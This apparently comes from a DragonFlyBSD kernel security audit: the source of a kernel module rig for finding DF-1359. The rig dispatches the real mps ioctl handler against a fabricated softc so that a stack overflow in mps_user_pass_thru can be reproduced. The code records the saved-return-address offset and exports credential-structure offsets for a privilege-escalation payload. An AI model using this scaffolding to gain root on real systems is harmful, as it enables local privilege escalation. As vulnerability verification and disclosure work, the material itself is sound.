⬢ DragonFlyBSD Kernel Audit
DF-1359 / df1359rig.c
← back to finding ↓ download raw
/*
 * DF-1359 verification rig (pass 3) -- dispatches the REAL production
 * mps ioctl handler against a fabricated softc.  Mirror of the proven
 * DF-1326 (mpr) rig, re-derived for the mps twin from the shipped
 * kernel binary (md5 4625046e8061b34e1758d291bc6cad18):
 *
 *   mps_ioctl_devsw   @ 0xffffffff805b16d0  (static devsw wrapper,
 *                                            mps_ioctl inlined)
 *   mps_user_pass_thru@ 0xffffffff805b0be0  (NOT inlined in mps)
 *     +0x7b   lea -0x3c(%rbp),%rsi ; call copyin     <- tmphdr, rbp-0x3c
 *     +0x62d  lea -0x28(%rbp),%rsp ; pop rbx,r12,r13,r14,r15,rbp ; ret
 *             -> saved RIP at &tmphdr + 0x44
 *
 * mps_softc field offsets touched by the compiled prologue (proven by
 * the disassembly above, NOT guessed from headers):
 *     +0x000 mps_dev (device_t; ENOMEM path device_printf)
 *     +0x010 mps_flags (MPS_FLAGS_BUSY = 1<<2)
 *     +0x014 mps_debug (MPS_INFO gate of mps_dprint)
 *     +0x0d0 mps command free-list head (NULL -> ENOMEM path)
 *     +0x148 facts POINTER (the mps bounds check dereferences
 *            sc->facts->IOCRequestFrameSize -- U16 at facts+0x24;
 *            32*4 = 128 == the mpr twin's reqframesz bound)
 *     +0x190 mps_lock (struct lock)
 *
 * The rig creates /dev/df1359rig with the EXACT ownership make_dev()
 * gives /dev/mpsN in mps_attach_user() (mps_user.c:188):
 *     UID_ROOT, GID_OPERATOR, 0640
 * and forwards every ioctl VERBATIM to the production handler after
 * byte-verifying its prologue AND the vulnerable copyin site.
 *
 * The rig stands in ONLY for what this QEMU guest cannot provide: an
 * LSI Fusion-MPT PCI controller for mps_attach().  Everything from
 * dev_dioctl() down -- devfs dispatch, ioctl marshalling, the ioctl
 * switch, mps_user_pass_thru, copyin() -- is production code executing
 * from the shipped kernel image.
 *
 * Only root can kldload/prime the rig; the trigger runs as an
 * unprivileged operator-group user (uid=2 gid=5), exactly like the
 * real /dev/mpsN attack on hardware.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/device.h>
#include <sys/malloc.h>
#include <sys/lock.h>
#include <sys/sysctl.h>
#include <sys/proc.h>
#include <sys/ucred.h>
#include <sys/globaldata.h>
#include <sys/thread.h>
#include <sys/types.h>

static d_open_t		rig_open;
static d_close_t	rig_close;
static d_ioctl_t	rig_ioctl;

static struct dev_ops rig_ops = {
	{ "df1359rig", 0, D_MPSAFE },
	.d_open =	rig_open,
	.d_close =	rig_close,
	.d_ioctl =	rig_ioctl,
};

static unsigned long rig_target;	/* runtime addr of mps_ioctl_devsw */
static int rig_vulncheck = 1;		/* require the vulnerable copy-site
					 * bytes (set 0 only to validate the
					 * PATCHED kernel through the same
					 * dispatch path) */
static void	  *rig_sc;		/* fabricated mps_softc */
static void	  *rig_facts;		/* fabricated MPI2_IOC_FACTS_REPLY */
static void	  *rig_fake_dev;	/* fabricated device_t (sc->mps_dev) */
static struct cdev *rig_cdev;

SYSCTL_ULONG(_kern, OID_AUTO, df1359rig_target, CTLFLAG_RW, &rig_target, 0,
    "runtime address of production mps_ioctl_devsw (prime as root)");
SYSCTL_INT(_kern, OID_AUTO, df1359rig_vulncheck, CTLFLAG_RW, &rig_vulncheck,
    0, "require vulnerable copyin-site bytes (0 only for fix validation)");

/*
 * Offsets the unprivileged payload builder needs.  No KASLR on this
 * build, so they are stable across boots; an attacker derives them
 * from the same world-readable /boot/kernel/kernel.
 */
static unsigned long o_gd_curthread = offsetof(struct globaldata,
    gd_curthread);
static unsigned long o_td_proc = offsetof(struct thread, td_proc);
static unsigned long o_p_ucred = offsetof(struct proc, p_ucred);
static unsigned long o_cr_uid = offsetof(struct ucred, cr_uid);
static unsigned long o_cr_ruid = offsetof(struct ucred, cr_ruid);
static unsigned long o_cr_svuid = offsetof(struct ucred, cr_svuid);
static unsigned long o_cr_groups = offsetof(struct ucred, cr_groups);
static unsigned long o_cr_rgid = offsetof(struct ucred, cr_rgid);
static unsigned long o_cr_svgid = offsetof(struct ucred, cr_svgid);

SYSCTL_ULONG(_kern, OID_AUTO, df1359rig_o_gd_curthread, CTLFLAG_RD,
    &o_gd_curthread, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, df1359rig_o_td_proc, CTLFLAG_RD,
    &o_td_proc, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, df1359rig_o_p_ucred, CTLFLAG_RD,
    &o_p_ucred, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, df1359rig_o_cr_uid, CTLFLAG_RD,
    &o_cr_uid, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, df1359rig_o_cr_ruid, CTLFLAG_RD,
    &o_cr_ruid, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, df1359rig_o_cr_svuid, CTLFLAG_RD,
    &o_cr_svuid, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, df1359rig_o_cr_groups, CTLFLAG_RD,
    &o_cr_groups, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, df1359rig_o_cr_rgid, CTLFLAG_RD,
    &o_cr_rgid, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, df1359rig_o_cr_svgid, CTLFLAG_RD,
    &o_cr_svgid, 0, "");

static int
rig_open(struct dev_open_args *ap)
{
	return (0);
}

static int
rig_close(struct dev_close_args *ap)
{
	return (0);
}

static int
rig_ioctl(struct dev_ioctl_args *ap)
{
	int (*fn)(struct dev_ioctl_args *);
	/* first 16 bytes of mps_ioctl_devsw in the shipped kernel */
	static const uint8_t prologue[16] = {
		0x55, 0x48, 0x89, 0xe5, 0x41, 0x57, 0x41, 0x56,
		0x41, 0x55, 0x41, 0x54, 0x53, 0x48, 0x81, 0xec
	};
	/*
	 * The vulnerable copyin site itself, mps_user_pass_thru+0x7b
	 * (0xffffffff805b0c5b):  lea -0x3c(%rbp),%rsi ; call copyin
	 */
	static const uint8_t copysite[8] = {
		0x48, 0x8d, 0x75, 0xc4, 0xe8, 0xac, 0xa2, 0x62
	};
	const unsigned long user_pass_thru = 0xffffffff805b0be0UL;

	if (rig_target == 0) {
		kprintf("df1359rig: target not primed (kern.df1359rig_target)"
		    "\n");
		return (ENXIO);
	}
	if (memcmp((const void *)rig_target, prologue, sizeof(prologue)) != 0) {
		kprintf("df1359rig: REFUSING dispatch - prologue mismatch at "
		    "%p\n", (void *)rig_target);
		return (ENXIO);
	}
	if (rig_vulncheck &&
	    memcmp((const void *)(user_pass_thru + 0x7b), copysite,
	    sizeof(copysite)) != 0) {
		kprintf("df1359rig: REFUSING dispatch - copyin site mismatch "
		    "at %p (vulnerable code not present; set "
		    "kern.df1359rig_vulncheck=0 ONLY for fix validation)\n",
		    (const void *)(user_pass_thru + 0x7b));
		return (ENXIO);
	}
	kprintf("df1359rig: dispatch REAL mps_ioctl_devsw @ %p cmd=%#lx "
	    "data=%p\n", (void *)rig_target, ap->a_cmd, ap->a_data);
	fn = (int (*)(struct dev_ioctl_args *))rig_target;
	return (fn(ap));
}

static int
df1359rig_handler(struct module *m, int what, void *arg)
{
	int err = 0;

	switch (what) {
	case MOD_LOAD:
		rig_sc = kmalloc(0x600, M_DEVBUF, M_WAITOK | M_ZERO);
		rig_facts = kmalloc(0x40, M_DEVBUF, M_WAITOK | M_ZERO);
		rig_fake_dev = kmalloc(0x200, M_DEVBUF, M_WAITOK | M_ZERO);
		if (rig_sc == NULL || rig_facts == NULL || rig_fake_dev == NULL)
			return (ENOMEM);
		/*
		 * sc->facts (offset +0x148, from disasm of the compiled
		 * check at mps_user_pass_thru+0x8f) -> IOCRequestFrameSize
		 * (U16 at facts+0x24) = 32, so the post-hoc bound is
		 * 32*4 = 128 -- identical to the mpr twin's reqframesz.
		 */
		*(void **)((uint8_t *)rig_sc + 0x148) = rig_facts;
		*(uint16_t *)((uint8_t *)rig_facts + 0x24) = 32;
		/* sc->mps_dev (offset 0): zeroed fake device_t; device_printf
		 * on it is survivable (NULL devclass -> "unknown: "), as
		 * proven live by the DF-1326 twin on this same kernel. */
		*(void **)rig_sc = rig_fake_dev;
		lockinit((struct lock *)((uint8_t *)rig_sc + 0x190),
		    "df1359rig_lk", 0, 0);
		rig_cdev = make_dev(&rig_ops, 0, UID_ROOT, GID_OPERATOR, 0640,
		    "df1359rig");
		if (rig_cdev == NULL) {
			kfree(rig_sc, M_DEVBUF);
			rig_sc = NULL;
			return (ENOMEM);
		}
		rig_cdev->si_drv1 = rig_sc;
		kprintf("df1359rig: loaded; fake sc=%p facts=%p "
		    "(IOCRequestFrameSize@+0x24=32); /dev/df1359rig "
		    "0640 root:operator; gd_curthread@+%lu td_proc@+%lu "
		    "p_ucred@+%lu cr_uid@+%lu\n",
		    rig_sc, rig_facts, o_gd_curthread, o_td_proc, o_p_ucred,
		    o_cr_uid);
		break;
	case MOD_UNLOAD:
		if (rig_cdev != NULL)
			destroy_dev(rig_cdev);
		if (rig_sc != NULL)
			kfree(rig_sc, M_DEVBUF);
		if (rig_facts != NULL)
			kfree(rig_facts, M_DEVBUF);
		if (rig_fake_dev != NULL)
			kfree(rig_fake_dev, M_DEVBUF);
		kprintf("df1359rig: unloaded\n");
		break;
	default:
		err = EOPNOTSUPP;
		break;
	}
	return (err);
}

static moduledata_t df1359rig_mod = {
	"df1359rig",
	df1359rig_handler,
	NULL
};

DECLARE_MODULE(df1359rig, df1359rig_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
MODULE_VERSION(df1359rig, 1);